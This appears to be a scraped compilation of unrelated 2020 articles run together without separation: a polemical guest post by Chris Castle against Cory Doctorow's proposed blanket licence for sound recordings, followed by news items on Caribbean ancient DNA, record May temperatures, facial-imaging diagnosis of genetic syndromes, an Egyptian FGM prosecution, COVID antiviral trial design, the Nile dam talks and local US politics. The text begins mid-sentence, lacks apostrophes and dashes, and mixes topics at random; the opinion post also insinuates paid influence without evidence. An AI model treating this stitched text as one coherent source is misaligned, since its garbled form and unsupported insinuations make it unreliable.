nobodys been able to achieve at scale like we have, he said.
A New Dark Age: Blanket Licenses for Everything Based On MMA [CHRIS CASTLE]

Here Chris Castle breaks down his view of the looming threat of comprehensive blanket licensing based on the Music Modernization Act, what it would mean for music, and who is trying to push the legislation through.

Guest post by Chris Castle of Music Technology Policy

Cory Doctorow has a post on the EFFs Deep ThoughtssorryDeep Links blog that proposes A Plan to Pay Artists. MTP readers probably need no further information to know whats coming next without even reading Mr. Doctorows post. Its the old ISP licensing hash rehashed and served up as if nothing happenedbut using The MLC as a justification.

For those who dont know the name, Cory Doctorow is an author who has been a leading voice in support of Googles agenda in his native Canada as well as Europe and the U.S. Do I know he is on the payroll? No. But after a while

And we certainly know that the Electronic Frontier Foundation is deep, deep in Googles pocket having picked up a cool $1,000,000 from Google in a cy pres award (as well as another $500,000 from Facebook)and thats the money we know about. This is not to even go into the personal connections between EFF lawyers and Google lawyers.

Recent Cy Pres Awards by Case

I will also acknowledge that Mr. Doctorow did something to a friend of mine in the pre-#MeToo era a few years ago that I find to be utterly vile. He posted an X ray of his hip area with a very small redaction along with the words This is for you following a public spat with her. I confess that after that outrage I have failed him in fellowship and forgiveness for which I must atone. But not yet. I still would like to hear how this effrontery got explained to children.

Having disclosed my bias, his idea for A Plan to Pay Artists should make it clear why the world is not beating a path to either his door or the EFFs door when it comes to artist rights. But it does reveal Big Techs strategy behind their embrace of the Music Modernization Act. Heres the meat of it (meat as in roadkill):

The Music Modernization Act, passed in 2018, was a step in the right direction. It created a new blanket license for musical compositions, covering downloads and interactive streaming. Lets build on that momentum and create a complimentary license for sound recordings.

A Blanket License for the Internet

In broad strokes, heres how a robust Internet license for sound recordings would work. If you want to offer music to the publicif you want to start a streaming site, or let users exchange music, or share videos with music clips in them like TikTok users doall you need to do is set up an account with a rights clearinghouse, called a collecting society.

You pay the collecting society a monthly license fee that goes up with the number of users you have. If you have one user and Facebook has 2.5 billion users, then your license fee is 1/2,500,000,000 of Facebooks fee.

You also allow the collecting society to audit the use of music on your platform. Theyll use statistically rigorous sampling methods to assemble an accurate picture of which music is in use on your platform, and how popular each track is.

The collecting society will then pay rightsholders for your use of the music. Thats it, more or less. Its not complicated, but it will be a challenge. There are a lot of details we have to get right. Lets get into some of them.

This one is such old, old news that it is almost shocking until you consider the source. But it is given new life by the Music Modernization Act and The MLC it spawned which is exactly what we said would happen in the breathless run up to the MMA.

What these people always have wanted is one blanket license for everything with no meaningful reporting obligations. This was true of the ridiculous plan for ISP licensing we heard from the Berkman Centers Terry Fisher and the absurd Choruss project that never really launched. (I co-wrote an extensive article on this issue in 2008.) The fact that the idea failed miserably doesnt mean that EFF wont dust it off these many years later since they were encouraged by the passing of Title I of the MMA that established The MLC. And they probably think weve all forgotten the past.

It must be said that by 2017 songwriters were teed up with substantial leverage from the class action lawsuits against Spotify and Rhapsody to finally get the governments boot off their throats that was imposed for some original sin generations ago in 1909 that nobody even remembers today. Generations of songwriters have grown up accepting that somehow they are singled out for more regulation that Big Tech has ever had.

Instead of using that leverage for freedom, they inexplicably doubled down on regulation for reasons I entirely fail to understand and may not even function. Remember, the MMA is a prime example of the Nightmare on K Streetthe lobbyists who tell you what you want to do is very complicated, very expensive and you can only accomplish it if you hire them. (Whatever it may be.)

Now we have Title I of the MMA that creates the blanket license that so enraptures Mr. Doctorow. This should come as no surprise because what Big Tech (in the form of the MIC Coalition) was really pushing just before MMA was the Transparency in Music Licensing and Ownership Act, which would have essentially created total government dominance of the entire music business (and which I heavily criticized at the time).

It is not surprising that the EFF and Mr. Doctorow are once again pushing this idea of what is essentially sampling based ISP licensing in the form of the Internet license as a kind of dark science that imposes on songwriters and artists the exact kind of revenue share popularity contest that has given rise to the user centric movement away from how popular each track is.

Tone deaf, once again. You can look for Mr. Doctorows plan to be picked up by the Music Managers Forum in the UK. The Spotify apologists at Complete Music Update will no doubt be braying about it just any moment.

What he apparently wants to do is set up a massive revenue share statutory blanket license for sound recordings along the lines of the Title I blanket except with what will be virtually unauditable accounting based on popularity as a proxy for usage. In other words, the exact same kind of problem that exists today with the revenue share modelusers paying for music they dont listen to.

Mr. Doctorows method confirms that the science is in[Services will] use statistically rigorous sampling methods to assemble an accurate picture of which music is in use on your platform, and how popular each track is.

Ah, statistics. Yes, thats the ticket. What could possibly go wrong?

Mr. Doctorows apocalyptic proposal extends the dark science that is destroying culture and artists livelihoods. And worse he does it with the full Orwellin the name of fairness to artists and the sainted innovation:

If you want to start a TikTok, Facebook, YouTube, Apple Music, or Amazon Prime competitor, youll be free to make the very best service you can, and you will have access to the exact same catalog that the established services offer.

Four of those examples either have no music licenses at all or had to be dragged kicking and streaming into legality. And instead of being up in arms about how these companies use data scraping to profit themselves in the background to create revenue they share with no one, Mr. Doctorow thinks that his proposal will encourage competition with some of the most anticompetitive companies on the planet representing trillions and trillions in market cap. Competitors for the robber barons dont struggle with music licensing in order to compete, they struggle with competing in order to compete.

There is an overlooked passage in Winston Churchills finest hour speech which actually resonated with me more than the better known passages:

[I]f we fail, then the whole world, including the United States, including all that we have known and cared for, will sink into the abyss of a new Dark Age made more sinister, and perhaps more protracted, by the lights of perverted science.

This proposal does not increase fairness, transparency or legitimacy. It facilitates the new Dark Age made more sinister by perverted science. And it was made more inevitable by the creation of The MLC.

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According to a new study by an international team of researchers from the Caribbean, Europe and North America, the Caribbean was settled by several successive population dispersals that originated on the American mainland.

The Caribbean was one of the last regions of the Americas to be settled by humans. Now, a new study published in the journal Science sheds new light on how the islands were settled thousands of years ago.

Using ancient DNA, a team of archaeologists and geneticists led by researchers from the University of Copenhagen and the Max Planck Institute for the Science of Human History found evidence of at least three population dispersals that brought people to the region.

"The new data give us a fascinating glimpse of the early migration history of the Caribbean. We find evidence that the islands were settled and resettled several times from different parts of the American mainland," says Hannes Schroeder, Associate Professor at the Globe Institute, University of Copenhagen, and one of the senior authors of the study.

More data, more details

The researchers analysed the genomes of 93 ancient Caribbean islanders who lived between 400 and 3200 years ago using bone fragments excavated by Caribbean archaeologists from 16 archaeological sites across the region.

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Due to the region's warm climate, the DNA from the samples was not very well preserved. But using so-called targeted enrichment techniques, the researchers managed to extract enough information from the remains.

"These methods allowed us to increase the number of ancient genome sequences from the Caribbean by almost two orders of magnitude and with all that data we are able to paint a very detailed picture of the early migration history of the Caribbean," says Johannes Krause, Director of the Max Planck Institute for the Science of Human History, and another senior author of the study.

The researchers' findings indicate that there have been at least three different population dispersals into the region: two earlier dispersals into the western Caribbean, one of which seems to be linked to earlier population dispersals in North America, and a third, more recent "wave," which originated in South America.

Connections across the Caribbean Sea

Although it is still not entirely clear how the early settlers reached the islands, there is growing archaeological evidence indicating that, far from being a barrier, the Caribbean Sea served as a kind of 'aquatic highway' that connected the islands with the mainland and each other.

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"Big bodies of water are traditionally considered barriers for humans and ancient fisher hunter gatherer communities are usually not perceived as great seafarers. Our results continue to challenge that view, as they suggest that there was repeated interaction between the islands and the mainland," says Kathrin Nagele, PhD student at the Max Planck Institute for the Science of Human History and one of the first authors of the study.

Biological and Cultural Diversity in the Ancient Caribbean

"The new data support our previous observations that the early settlers of the Caribbean were biologically and culturally diverse, adding resolution to this ancient period of our history," says Yadira Chinique de Armas, Assistant Professor in Bioanthropology at the University of Winnipeg who currently co-directs three large scale excavations in Cuba as part of the SSHRC project.

The researchers found genetic differences between the early settlers and the newcomers from South America who, according to archaeological evidence, entered the region around 2800 years ago.

"Although the different groups were present in the Caribbean at the same time, we found surprisingly little evidence of admixture between them," adds Cosimo Posth, group leader at the Max Planck Institute for the Science of Human History and joint-first author of the study.

"The results of this study provide yet another layer of data that highlights the diverse and complex nature of pre-Columbian Caribbean societies and their connections to the American mainland prior to the colonial invasion," says Corinne Hofman, Professor of Archaeology at Leiden University and PI of the ERC Synergy project NEXUS1492.

"Genetic data provide a new depth to our findings" agrees Mirjana Roksandic, Professor at the University of Winnipeg and the PI on the SSHRC project.
Last month was the warmest May on record with global temperatures 1.13F (0.63C) above average, according to the European Union's climate change monitor.

Globally, warm temperatures reached up to 18F (10C) above the average for May over parts of Siberia, Copernicus Climate Change Service (C3S) has revealed.

In Europe, temperatures 'deviated quite substantially' from the average for May between 1981 and 2010 from Scandinavia to the Balkans.

The average temperature over England was 'not exceptional', although the country did have its sunniest month and driest May on record, according to the Met Office.

The US National Oceanic and Atmospheric Administration has previously predicted that the increase in global temperatures is likely to make 2020 the hottest year ever recorded.

Surface air temperature anomaly for May 2020 relative to the May average for the period 1981-2010. Temperatures were most above average over parts of Siberia, where they were up to 18F (10C) above average

The C3S findings, which are based on analysis of billions of measurements from satellites, ships, aircraft and weather stations, are 'alarming' one expert claims.

'The last month has been the warmest May on record globally and this is unquestionably an alarming sign,' said Freja Vamborg, a scientist at Copernicus Climate Change Service, an intergovernmental agency that supports European climate policy.

'Even more concerning is the fact that average temperatures of the last 12 months have become one of the hottest 12-month periods ever recorded in our data set,' she told CNBC.

Globally, the 12-month period  June 2019 to May 2020  was 1.18F (0.66C) warmer than the 1981-2010 average.

This matches the average temperature of the warmest earlier twelve-month period, from October 2015 to September 2016.

Last summer, Siberia saw unprecedented intense wildfires, and the warmer and drier conditions provided 'the ideal environment for fires to burn and persist', said scientist Mark Parrington, of the Copernicus Atmosphere Monitoring Service.

As well as Siberia, last month's temperatures were much above average over western Alaska, along the Andes bordering Chile and Argentina and over regions in West and East Antarctica.

C3S revealed it was also much warmer than average over western North America, the far north and south of South America, north-western, central and south-western Africa and south-eastern Asia.

Although temperatures were a little below average over several regions in all major oceans, air temperatures over sea were 'predominantly higher' than the 1981-2010 average.

May 2020 didn't break records everywhere, however  the European-average temperature for May 2020 was 0.54F (0.3C) below the 1981-2010 average.

An aerial view of low water levels in the Taf Fawr valley, Wales, last month. An increase in global temperatures overall, resulting from greenhouse gas emissions from human activity, are likely to make 2020 the hottest year ever recorded

HOTTEST YEARS ON RECORD The hottest years ever recorded are: 2016 2019 2015 2017 2018 2014 2010 2013 2005 2009 Source: Climate Central Advertisement

'Temperatures ranged from well above average over the south-west and far north-east of the continent, to well below average over a substantial region extending from Scandinavia to the Balkans and the northern coast of the Black Sea,' C3S said in a web post.

Although May was colder than average in Europe, Spring 2020, running from March to May, was 1.26F (0.7C) above average

Europe was generally warmer than average in the west, south and far east, and close to or a little colder than average over parts of Scandinavia and central Europe.

There were also below-average temperatures for May 2020 over most of central and eastern Canada, eastern US states, southern Brazil, parts of southern Asia, and Australia.

The World Meteorological Organization (WMO) previously confirmed that 2019 was the second warmest year on record, after 2016.

'The average global temperature has risen by about 1.1C [1.98F] since the pre-industrial era and ocean heat content is at a record level,' said WMO Secretary-General Petteri Taalas.

'On the current path of carbon dioxide emissions, we are heading towards a temperature increase of 3 to 5 degrees Celsius by the end of century.'

The average temperature over England was not exceptional, but the country had its sunniest month and driest May on record

WMO had also confirmed that the last five years were the hottest on record globally, leading to rising sea levels, declines in Arctic sea ice, glaciers and ice sheets, and more heat trapped in the oceans.

A report from the US National Oceanic and Atmospheric Administration (NOAA) previously estimated a 75 percent chance that 2020 will be the hottest year in recorded history.

Meanwhile, July 2019 was the hottest month ever recorded globally after 140 years of record-keeping, and brought Arctic and Antarctic sea ice to historic lows, according to NOAA.

July 2019's global temperature was 1.71F (0.95C) warmer than the 20th century average for July, it said.

C3S also previously revealed that last year was the hottest experienced in Europe since records began.

2019 experienced exceptionally warm weather in the months of February, June and July, which led to record-breaking temperatures recorded across the continent.

As for the UK, the Met Office revealed this week that May 2020 was UK's sunniest calendar month on record and the driest May on record.

626 hours of bright sunshine were recorded in Spring 2020 for the UK and have exceeded the previous high (555 hours, set in 1948) by over 70 hours, it said.
Most children with rare genetic diseases spend years undergoing medical tests and waiting for a diagnosis -- a long, exhausting process that takes its toll on children and their families. Almost half of these children never get a definitive diagnosis.

Now an international team led by scientists and clinicians from the University of Colorado, University of Calgary, and University of California, San Francisco (UCSF) has developed a prototype tool based on three-dimensional (3D) facial imaging that could shorten that diagnostic odyssey by making it easier for clinicians to diagnose genetic syndromes.

Families tell us having a diagnosis for their child's rare disease is life-changing. A diagnosis is essential to children getting the right treatments and connecting with other children and families with the same syndrome." Benedikt Hallgrimsson, PhD, professor and head of the Department of Cell Biology & Anatomy, and scientific director (basic science) at the Alberta Children's Hospital Research Institute in the Cumming School of Medicine at the University of Calgary

Most developmental genetic syndromes affect multiple organ systems, and clinical geneticists have long relied on distinctive facial features as an important guide to diagnosis.

In a new study published online in Genetics in Medicine on June 1, 2020, the research team created a unique library of 3D facial images of participants of diverse ages and ethnicities, including 3327 children and adults with 396 different genetic syndromes, 727 of their unaffected relatives and 3003 other unaffected individuals from the United States, Canada, and the United Kingdom. The secure database is hosted by FaceBase, an international consortium funded by the National Institute of Dental and Craniofacial Research, part of the U.S. National Institutes of Health (NIH).

The researchers then used this secure database to train a machine learning algorithm to identify most of the genetic syndromes included in the dataset with moderate-to-high accuracy. Based on facial shape, 96 percent of study subjects could be correctly classified as either unaffected or having a syndrome, and for most, the algorithm was able to provide a prioritized list of likely diagnoses with high accuracy.

The COVID-19 pandemic has accelerated a rapid shift to telemedicine by genetics clinics, including those at UCSF, University of Colorado, and University of Calgary, but the study team says the field still lacks tools to replace many aspects of the in-person physical exam. The automated diagnostic approach developed in this study could extend the ability of clinical geneticists to diagnose patients without requiring travel to a specialized clinic. It could also help general practitioners without genetic training to home in on potential diagnoses, enabling them to connect patients with appropriate specialty care and community support.

"Clinical genetics is labor-intensive," said Ophir Klein, MD, PhD, the Larry L. Hillblom Distinguished Professor in Craniofacial Anomalies and the Charles J. Epstein Professor of Human Genetics at UCSF, where he is chief of the Division of Medical Genetics. "Some clinics have a two-year waiting list to get in. Using 3D imaging could dramatically enhance clinicians' ability to diagnose children more quickly and inexpensively."

The researchers emphasize that the current study represents an important proof-of-concept for facilitating genetic diagnoses, but further work is required to deploy a clinically available, privacy-protected tool. Currently, the approach relies on expensive 3D cameras, but this is expected to change with advances in smart-phone camera technology.

"We have designed a prototype with significant potential to become a clinical tool around the world," said Richard Spritz, MD, professor of Pediatrics and director of the Human Medical Genetics and Genomics Program at the University of Colorado School of Medicine. "Our hope is that one day soon, our patients can securely take a photo of their face with a smart phone and send it to their doctor for analysis in a confidential database."

Added Hallgrimsson, "In low-income countries where genetic testing and medical geneticists aren't available, this could become a transformational new tool."
E gyptian authorities are to prosecute a father who allegedly tricked his three daughters into undergoing female genital mutilation by pretending they were to receive a coronavirus vaccine.

The girls say their father told them a doctor was coming to vaccinate them against Covid-19, according to the Thomson Reuters Foundation reporting from Cairo.

But the girls  all under the age of 18  allege they were instead injected with a drug which knocked them unconscious, before undergoing the illegal procedure.

A coronavirus vaccine currently does not exist although global trials to develop one are under way.

The girls parents are divorced. After they told her about the procedure their mother contacted the authorities.

Egypt's prosecutor-general said in a statement: They lost consciousness and when they woke up they were shocked to find their legs bound together and a sensation of pain in their genitals.

FGM, a ritual which intentionally alters or injures female genital organs and offers no health benefits, is illegal in Egypt.

The country banned the practice in 2008 and made it a crime in 2016, and doctors who carry out the procedure can be jailed for up to seven years.

Requesting FGM also carries a penalty of up to three years in jail.

Both the father and the doctor who performed the surgery are to be prosecuted in an urgent criminal trial, Egyptian police said in an official statement.

But if the prosecution is successful, it will be the first under Egyptian law.

Womens rights groups in Egypt say the ban has not been well enforced and the practice remains prevalent in the country.

As much as 87 per cent of Egyptian women and girls aged 15-49 have undergone FGM, according to a 2016 survey by the UN Children's Fund.

Reda el-Danbouki, executive director of the Cairo-based Women's Centre for Guidance and Legal Awareness, told AFP: "It's really shocking that authorities such as judges and the police continue to treat FGM cases with extreme leniency here.

Anti-FGM activist Nimco Ali, who was awarded an OBE for her campaigning on womens rights, today spoke out on the case.

She wrote on Twitter: I honestly just dont know what is wrong with humanity sometimes.

But @TheFiveFound is leading on the case and we will get these girls and their mum who reported it justice.

Entessar el-Saeed, head of the Cairo Center for Development and Law, highlighted that the mother reporting the crime was encouraging as it shows that girls and mothers have become more aware of the dangers of the procedure.

FGM often leaves a woman unable to enjoy sexual relations. It is widely practised in Egypt by both its Christian and Muslim groups.

The ritual is underpinned by the desire to control female sexuality, but is often justified for cultural or religious reasons in conservative societies. It is usually performed on girls between the ages of five and 15.

It can cause long-lasting mental and physical health problems including chronic infections, menstrual problems, infertility, pregnancy and childbirth complications.
A new study by an international team of researchers and published on the preprint server medRxiv* in June 2020 describes the possible reasons for inconsistent or null findings in clinical studies of antiviral drugs to date. It proposes a new approach to decide the sample size in light of its findings.

Why Are Effective Antivirals Not Being Found?

Against the background of the current COVID-19 pandemic, the need to develop an effective antiviral against the severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2) has become an urgent priority for global health. Both new and existing (repurposed) antivirals are being tested for efficacy. While some FDA-approved drugs have shown good results both in vivo and in vitro, clinical studies have failed to show correspondingly convincing efficacy.

Novel Coronavirus SARS-CoV-2 This transmission electron microscope image shows SARS-CoV-2, the virus that causes COVID-19, isolated from a patient in the U.S. Virus particles are shown emerging from the surface of cells cultured in the lab. The spikes on the outer edge of the virus particles give coronaviruses their name, crown-like. Image captured and colorized at NIAID's Rocky Mountain Laboratories (RML) in Hamilton, Montana. Credit: NIAID

The reasons for this apparent loss of consistency could include the trial design, which is sometimes not rigorous enough to capture the true effectiveness of the antiviral, and the setting in which the repurposed drug is used, such as a compassionate use program. Study designs typically require much preparation in the form of deciding the dosage, the clinical outcomes, required sample size, and safety assessments  all of which may not have been critically assessed in the background of the urgent demand for an effective drug.

Compassionate use programs are by default observational studies, and the use of the antiviral is decided by the doctor along with the patient or next of kin of the patient. This discretionary design allows for a host of confounding factors, including the stage of the disease, underlying or accompanying comorbidities, and dosage used. These could lead to inaccurate conclusions even when observable confounding factors are accounted for.

Modeling Changes in Viral Load

The current paper uses mathematical modeling to describe the viral dynamics within the host and applies it to current clinical studies to demonstrate its utility. The quantitative approach used by the researchers shows that there are at least two factors that can confound the true effectiveness of the antivirals.

The design of the study was aimed at exploring the quantitative differences in the way the virus behaves in different patients and the reason for these variations. To do this, the researchers made use of data on the infection from 38 patients from different countries, over time, to estimate the viral load since the earliest symptoms.

By comparing the viral load between patients, the differences between them were visualized at statistically significant levels, at two levels: the initial viral load at the onset of symptoms and the rate at which cells containing replicating virus died per day (speed of viral load decay). This led to the formation of three groups, namely, rapid, medium, and slow viral load decay.

Good immune responses would lead to rapid viral load decay and a shorter period of virus production, which is clinically observed as a shorter period of detection of viral particles in respiratory samples. This has been associated with less severe disease.

The modeling findings led to in silico experiments to find out how the virus dynamics would change when drugs blocking virus replication are administered. From this, the therapeutic possibilities are determined.

How The Timing of Initiation Affects Outcome

Clinical outcomes are typically related to the timing of initiation of the antiviral treatment, especially for influenza. The dose and level of immunity are critical factors deciding the size and direction of antiviral effects.

The researchers, therefore, simulated several scenarios with varying times of initiation, from 0.5 to 5 days following symptom onset, inhibition rates of 99% or 50%, and the three patient groups mentioned earlier in terms of viral load decay. The variation in days corresponds to the period before and after the peak viral load, as estimated by the current model.

The study shows that starting antiviral treatment early affects the rate of viral load decay favorably, whether the inhibition rate is high or low. On the other hand, beginning treatment once the peak has been reached is rather fruitless in all three groups and irrespective of the rate of inhibition.

The investigators also introduced the duration of virus shedding as one of the outcomes since this is often used in clinical studies to evaluate the efficacy of antiviral treatment for SARS-CoV-2. They found that as expected, the duration was shortest in the group with rapid viral load decay, and longest with slow decay.

How Should Sample Size Be Decided?

The researchers then focused on finding the appropriate sample size that would have 80% power to detect a difference in efficacy between controls and treatment groups in a randomized clinical trial, assuming initiation of antiviral therapy as soon as the patients were hospitalized. They found that the typical clinical trial in which patients are treated irrespective of the time of initiation of treatment requires a much larger sample size than is usually seen.

The average point of initiation is at about 4.6 days from the symptom onset after the peak viral load is attained. The time from the onset of symptoms to the initiation of treatment was then used to decide an inclusion criterion on which the new sample size was then based. This was much smaller  98 vs. 2720 with the use of broad and strict (within 0.5 days of symptom onset) criteria, respectively.

If the area under the curve (AUC) is used as the outcome, the pattern is similar. Thus, the time of initiation and the rate of decay of the viral load must be taken into account while assessing clinical efficacy. Most studies calculate the required sample size in terms of the distribution of the outcomes in the treatment and control groups, in general. In the case of the SARS-CoV-2, this is not valid due to the non-linear association of the treatment effect with the timing of initiation of the antiviral.

Examples, Limitations and Future Directions

For instance, hydroxychloroquine was reported to be effective against the virus in one study, but other researchers could not replicate this. The lopinavir-ritonavir combination was also not associated with consistent efficacy, but in most cases, the drugs were begun more than ten days from symptom onset.

The study is limited by its failure to fully replicate physiological differences between target cells, which could affect the susceptibility of the cell to infection and by the lack of modeling of immunomodulatory effects of the drugs used. However, it passes on an important message, according to the researchers: The failure to identify effective antivirals against the virus might not be because the antivirals are not effective, but because of the imperfect design of the clinical studies. The timing of treatment initiation and virus dynamics should be accounted for in the study design (i.e., sample size and inclusion-exclusion criteria) to identify effective antivirals.

*Important Notice

medRxiv publishes preliminary scientific reports that are not peer-reviewed and, therefore, should not be regarded as conclusive, guide clinical practice/health-related behavior, or treated as established information.
Three African countries have signaled their readiness to resume negotiations on a controversial dam that will be the continent's largest. The move by Ethiopia, Egypt and Sudan came after Ethiopian Prime Minister Abiy Ahmed said Thursday his country is ready to return to talks.

We have agreed to continue with technical-level engagements through our water ministers tasked to discuss outstanding issues and arrive at win-win solutions, Abiy said in a Facebook post after speaking to Sudanese Prime Minister Abdalla Hamdok. Through our discussions, we addressed misunderstood issues."

The $4.6 billion Grand Ethiopian Renaissance Dam that Ethiopia is building on the Nile River is meant to provide needed electricity for more than 70 million Ethiopians, but Egypt has raised urgent concerns over the filling of the dam, which is set to begin in the coming weeks.

Egypt asserts that a rapid filling of the dam could reduce its share of water on which it almost entirely relies.

Ethiopia and Egypt, two of Africa's regional powers, have appealed to the United States, the United Nations and others to support their positions.

Ethiopia, Egypt and Sudan concluded technical talks without an agreement in January and then went to Washington for U.S.-brokered talks. Ethiopia later withdrew from the talks citing pressures to sign a deal and unfinished consultations back home.

The war of words between Ethiopia and Egypt has since escalated. Ethiopia said it will start filling the dam in July when the rain starts, but Egypt has protested the move in a letter it sent to the U.N. Security Council. Ethiopia also sent a letter to the U.N. body explaining its position.

Following Ethiopias latest move, Egypts foreign ministry said the return of the three parties to the negotiation table was agreed to complete the remaining simple part of the agreement on the filling and operation of the Grand Ethiopian Renaissance Dam.

Egypt added it is ready to reach to an agreement that preserves Egypts water interests and equally takes into account the interests of both Ethiopia and Sudan.

The Blue Nile flows from Ethiopia into Sudan, where it joins the White Nile near the capital, Khartoum, to form the Nile River. Some 85% of the Nile waters originate from Ethiopia and the Blue Nile.

In a statement on May 19, U.N. Secretary-General Antonio Guterres encouraged the three countries to persevere with efforts to peacefully resolve any remaining differences.

The dam is now more than 73% complete.
By Akbar Mammadov

The head of the Azerbaijani community of the Nagorno-Karabakh region of Azerbaijan Tural Ganjaliyev held discussions on the Nagorno-Karabakh conflict with France's Ambassador to Azerbaijan Zacharie Gross.

The French ambassador posted about the meeting on his Twitter page on June 5.

"Great conversation yesterday with Tural Ganjaliyev and his team concerning his priorities - first and foremost promoting dialogue and a peaceful solution to the Nagorny-Karabakh conflict. Many thanks", Gross wrote.

It should be noted Tural Ganjaliyev is also an elected MP from Khankendi district of Azerbaijan.

In the meantime, France is also one of the mediators of the Armenian-Azerbaijani conflict since the signing of the volatile cease-fire agreement in 1994 as one of the co-chairs of the OSCE Minsk Group.

Azerbaijan and Armenia are locked in a conflict over Azerbaijans Nagorno-Karabakh breakaway region, which along with seven adjacent regions was occupied by Armenian forces in a war in the early 1990s. More than 20,000 Azerbaijanis were killed and around one million were displaced as a result of the large-scale hostilities.

The OSCE Minsk Group co-chaired by the United States, Russia and France has been mediating the Armenian-Azerbaijani conflict since the signing of the volatile cease-fire agreement in 1994. The Minsk Groups efforts have resulted in no progress and to this date, Armenia has failed to abide by the UN Security Council resolutions (822, 853, 874 and 884) that demand the withdrawal of Armenian military forces from the occupied territories of Azerbaijan.

---

Akbar Mammadov is AzerNews staff journalist, follow him on Twitter: @AkbarMammadov97

Follow us on Twitter @AzerNewsAz
SHELTON  The Board of Aldermen adopted Mayor Marks Laurettis proposed 2020-21 fiscal year budget Friday, but Alderman David Gidwani claims a disconnected phone line prevented his no vote.

Gidwani, who had called in to the meeting, said his call was disconnected, and he was unable to vote no and make a statement about Laurettis proposed budget of $128,182,039, which includes a $610,565 overall increase over this past year while flat funding the education budget.

With the budget approval, the citys mill rate will remain 22.42 mills. Because of coronavirus pandemic shutdowns, the budget anticipates a tax collection rate of 98 percent and reduces the revenue estimate on motor vehicles by $200,000, creating what Lauretti calls a significant drop in cash that will certainly impact the ability to pay bills for vital services.

Gidwani said he was unhappy his vote did not get to be counted during the meeting.

To whoever at city hall disconnected me, shame on you, Gidwani posted on his Facebook page immediately as the meeting adjourned.

Lauretti, when asked after the meeting, said the individual handling the technology never saw Gidwanis number as disconnected from the call and stated he had plenty of opportunity to speak up when the aldermen voted to adjourn the meeting.

The disconnected call from a dissenter is the latest twist in what has been a contentious budget process, which began in April with Laurettis presentation of his budget and featured clashes with Democratic members of the Board of Apportionment and Taxation, which met twice, never once voting on the mayors budget.

This budget will not end with this adoption today, said Lauretti. Things are going to change. We know this. We just do not know how much and when. People have to be patient.

The focus now turns to the Board of Education. Before Fridays aldermen vote, the school board began the process of slashing $3.1 million from its budget. Overall, the school board has eliminated 22 positions, including eight layoffs, but still has some $450,000 to cut.

Contributed photo

The school board initially had proposed a $75,083,945 budget  an increase of $2,318,945, or 3.19 percent. The school budget request maintained present services with money set aside for a new pre-K teacher and curriculum writing.

Our revenues are grossly uncertain and back-to-school plans are unknown, said Board of Aldermen President John Anglace Jr., so the mayor recommended to start at last years levels and add to it as more is known. Finalizing and funding an uncertain plan would be a disservice to our entire community and adversely impact our major service providers, especially education.

Gidwani submitted a statement to the Herald that he had planned to read after recording his no vote, he said.

I disagree with the current city budget because we are flat funding education in a time when our Shelton students have been displaced from schools due to Covid-19, said Gidwani. When Shelton students return to our schools, they will need more support than ever before.

Gidwani asked that city officials work together to find a way to keep the teachers and support staff.

Students will need more counseling, more intervention and may even need smaller class sizes due to CDC guidelines, said Gidwani. We must work together to keep Shelton strong and support our future generation of Shelton residents.

Lauretti said that city teachers are the 10th highest paid in the state and the districts facilities are as fine as any in Connecticut, but it is never enough for some people who make rude and derogatory comments.

I am not moved by that  I am not threatened by anyones vote, said Lauretti. When I take action on behalf of this city, I take into consideration of every sector that lives and works here.

Lauretti said, during the pandemic, everyone must sacrifice, including the school system.

It cant be for the kids all the time, said Lauretti. What about the seniors living on fixed incomes? Should we not consider them?

Lauretti said over his 29 years in office, he often hears during budget season how the school system is underfunded and in overall bad condition.

But that only exists at budget time, added the mayor. After that, we have a great system.

After Lauretti finished his comments during Fridays meeting, he asked for any other comment from the board. When no one responded, he called for the vote.

All the aldermen that could be heard voted yes. Lauretti then asked twice for Gidwani, who has been a vocal critic of the mayors stance on many issues, with no response. After waiting a moment, Lauretti stated the vote was 7-0 in favor, with one abstention, that being Gidwani.

But Gidwani said he was disconnected during Laurettis comments. When he tried to call in, an automated message told him the meeting had finished.

Gidwani contacted both Anglace and the aldermens secretary Friday night to demand that his no vote and the statement he had planned to read be entered into the official record of the meeting.

The contentious budget season had featured separate petitions from both the Shelton Democratic Town Committee and the SHS Students Fight for Change student action group supporting Democrat Apportionment and Taxation members call for joint budget workshops between the A&T, the aldermen, the Board of Education and city department heads.

The DTC also urged the aldermen to hold a public hearing before the final budget adoption. The aldermen, citing the governors executive order, instead asked interested residents to send in letters and emails with comments on the budget proposal.

In a statement released Thursday, the DTC charged that the Board of Alderman violated the city charter and Gov. Ned Lamonts executive orders regarding municipal budget processes.

Executive Order 7I, which the BOA cited in adopting a resolution to waive requirements for public hearings, does not allow them to do that. EO 7I is very narrow and applies only to municipalities that require voters to vote to adopt a budget via public town meetings or referendums suspending those requirements.

The DTC stated the executive order calls for municipalities to hold all required hearings in a manner as closely consistent with the applicable statutes, special acts, town charters, municipal ordinances, resolutions or procedures as possible.

Why is it important to hold public hearings? Because you have a right to know how your tax dollars are being spent and you deserve to have a say in that process, stated the DTC.

brian.gioiele@hearstmediact.com
Jayson Watkins couldn't just sit back and watch black-owned businesses suffer twice. First, they were hit hard when they were forced to close because of coronavirus. And this week, many were looted as much of the country faced civil unrest following the killing of George Floyd. Watkins knew he had to take action.

Watkins created a Google doc of resources for protesters and supporters, and he added a section on black-owned small businesses. First it was just focused on Chicago, where he lives, and Minneapolis, his hometown, but it has quickly grown to include links to support black-owned shops across the country. It's not directly a protest against police brutality, Watkins, 24, tells CNBC Make It, but supporting black-owned businesses still helps the communities at the center of the protests.

"These businesses are fueled by the community, they rely on community support," says Watkins. "Even if it's just visibility of their business and showing any social media handles, that would be enough if people can't donate."

Search #blackedownedbusiness on Instagram or Twitter, and you'll find hundreds of posts from people across the U.S. sharing their own lists of local, black-owned restaurants, bookstores, beauty brands and more.

The Semicolon Bookstore, a bookstore and gallery space in Chicago, has been "buried in sales" over the past few days, after it was added to lists of black-owned businesses to support online, owner Danielle Mullen says. And a GoFundMe Mullen started to raise money for books for Chicago Public School students who cannot afford to buy them otherwise surpassed its initial goal of $60,000 as donations pour in to help the community.

Supporting some of the 2.6 million black-owned businesses in the U.S. is a way for non-black people to show true allyship, says Mullen, rather than just saying they support Black Lives Matter or another movement.
The City of Minneapolis will ban the use of chokeholds by police officers under an agreement with the state Human Rights Department. The pact outlines interim police reform measures in advance of a long-term state civil rights probe stemming from the death of George Floyd.

The City Council is expected to approve the agreement, which will be enforceable in court, on Friday, reports CBS Minnesota.

cbsn-fusion-two-separate-george-floyd-autopsies-reveal-homicide-thumbnail-493758-640x360.jpg

George Floyd

